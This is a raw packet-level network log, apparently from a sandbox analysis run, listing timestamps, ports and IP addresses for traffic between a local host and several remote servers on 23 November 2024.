Nov 23, 2024 20:23:37.946243048 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946253061 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946263075 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946675062 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946691036 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946701050 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946783066 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946793079 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946803093 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946813107 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946845055 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.947619915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.947658062 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.947669983 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.947808027 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.947818041 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.947827101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.954756021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.954788923 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.954793930 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.954899073 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.954966068 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.954977036 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.955107927 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.955117941 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.965075970 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.965131998 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.965193987 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.965245962 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.965289116 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.965331078 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.965698004 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.985888958 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.023266077 CET	49843	443	192.168.2.4	35.190.72.216
Nov 23, 2024 20:23:38.023297071 CET	443	49843	35.190.72.216	192.168.2.4
Nov 23, 2024 20:23:38.023422956 CET	49843	443	192.168.2.4	35.190.72.216
Nov 23, 2024 20:23:38.023894072 CET	443	49843	35.190.72.216	192.168.2.4
Nov 23, 2024 20:23:38.026352882 CET	49843	443	192.168.2.4	35.190.72.216
Nov 23, 2024 20:23:38.038156033 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.060077906 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060087919 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060096025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060101986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060111046 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060117006 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060127974 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060137033 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060702085 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060755014 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060766935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060882092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060893059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060903072 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.060914993 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.066793919 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.086906910 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.090045929 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.090059042 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.090523005 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.090528011 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.096508980 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.096565008 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.096568108 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.096577883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.096681118 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.096895933 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.096908092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097002983 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097043037 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.097047091 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097058058 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097115993 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.097282887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097325087 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.097352028 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.097364902 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097377062 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097450972 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.097465038 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097476959 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097489119 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097534895 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.097608089 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.097960949 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098016024 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098026991 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098040104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098058939 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098073006 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098084927 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098149061 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098788977 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.098865986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098918915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098931074 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.098995924 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099006891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099019051 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099030018 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099045038 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099807978 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099858046 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099869967 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099883080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099899054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099910021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.099921942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.100013018 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.100732088 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.100784063 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.100795031 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.100857019 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.100867987 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.100878954 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.100891113 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.100903988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.101681948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.101701975 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.101715088 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.101784945 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.101797104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.101809025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.101823092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.101834059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.101895094 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.102032900 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.102288961 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.102313042 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.102340937 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.102425098 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.102440119 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.102792978 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.102799892 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.111588955 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.111994982 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.112003088 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.112381935 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.112386942 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.113514900 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.114767075 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.114778996 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.115118980 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:38.115124941 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:38.137159109 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137219906 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137232065 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137278080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137288094 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137298107 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137310028 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137370110 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137651920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137661934 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137672901 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137706041 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137716055 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137765884 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137779951 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.137801886 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.138544083 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.138583899 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.138593912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.138669014 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139059067 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139067888 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139087915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139096975 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139108896 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139117956 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139133930 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139189959 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139947891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139956951 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.139967918 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.140100956 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.140111923 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.140121937 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.146801949 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.146840096 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.146850109 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.146977901 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.146987915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.146997929 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.147008896 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.147413969 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.147674084 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.147700071 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.147727013 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.147901058 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.251955986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252052069 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252163887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252207994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252218962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252302885 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252314091 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252324104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252340078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252381086 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252892971 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252938986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.252949953 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.253056049 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.253065109 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.254894018 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.255048990 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.288567066 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.288626909 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.288638115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.288693905 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.288703918 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.288713932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.288906097 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289026976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289036036 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289068937 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289252996 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289263010 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289366961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289452076 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289462090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289472103 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289769888 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289781094 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289792061 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289928913 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289938927 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289949894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.289959908 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.290535927 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.290546894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.290556908 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.290594101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.290604115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.290610075 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.290618896 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.290630102 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.291440964 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.291472912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.291486979 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.291563034 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.291573048 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.291583061 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.291594028 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.291649103 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.292378902 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.292426109 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.292435884 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.292457104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.292510033 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.292526007 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.292536974 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.292628050 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.293323040 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.293384075 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.293394089 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.293431044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.293441057 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.293452024 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.293461084 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.293519974 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.294239044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.294303894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.301879883 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.301964998 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.301994085 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.302006006 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.302026987 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.302051067 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.330192089 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.330203056 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.330214977 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.330357075 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.330368042 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.330379963 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.330389977 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.330401897 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.330411911 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.330425024 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.330641031 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.331082106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.331101894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.331113100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.331237078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.331248045 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.331259966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.331273079 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.331285000 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.331996918 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332035065 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332047939 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332153082 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332163095 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332463026 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332565069 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332576036 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332587957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332600117 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332611084 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332623959 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.332636118 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.333416939 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.333437920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.333448887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.338979959 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.339052916 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.339062929 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.339107037 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.339118004 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.339128971 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.339144945 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.339155912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.339590073 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.347930908 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.347970963 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.347997904 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.348038912 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.411803961 CET	443	49839	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:38.411900043 CET	443	49839	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:38.418637037 CET	49839	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:38.419502020 CET	49839	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:38.419509888 CET	443	49839	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:38.444706917 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.444757938 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.444770098 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.444823980 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.444835901 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.444849014 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.444864988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.444931984 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.445142984 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.445188999 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.445199966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.445314884 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.445326090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.445338964 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.458961964 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.459115028 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:38.485630035 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:38.485641956 CET	80	49827	185.215.113.16	192.168.2.4
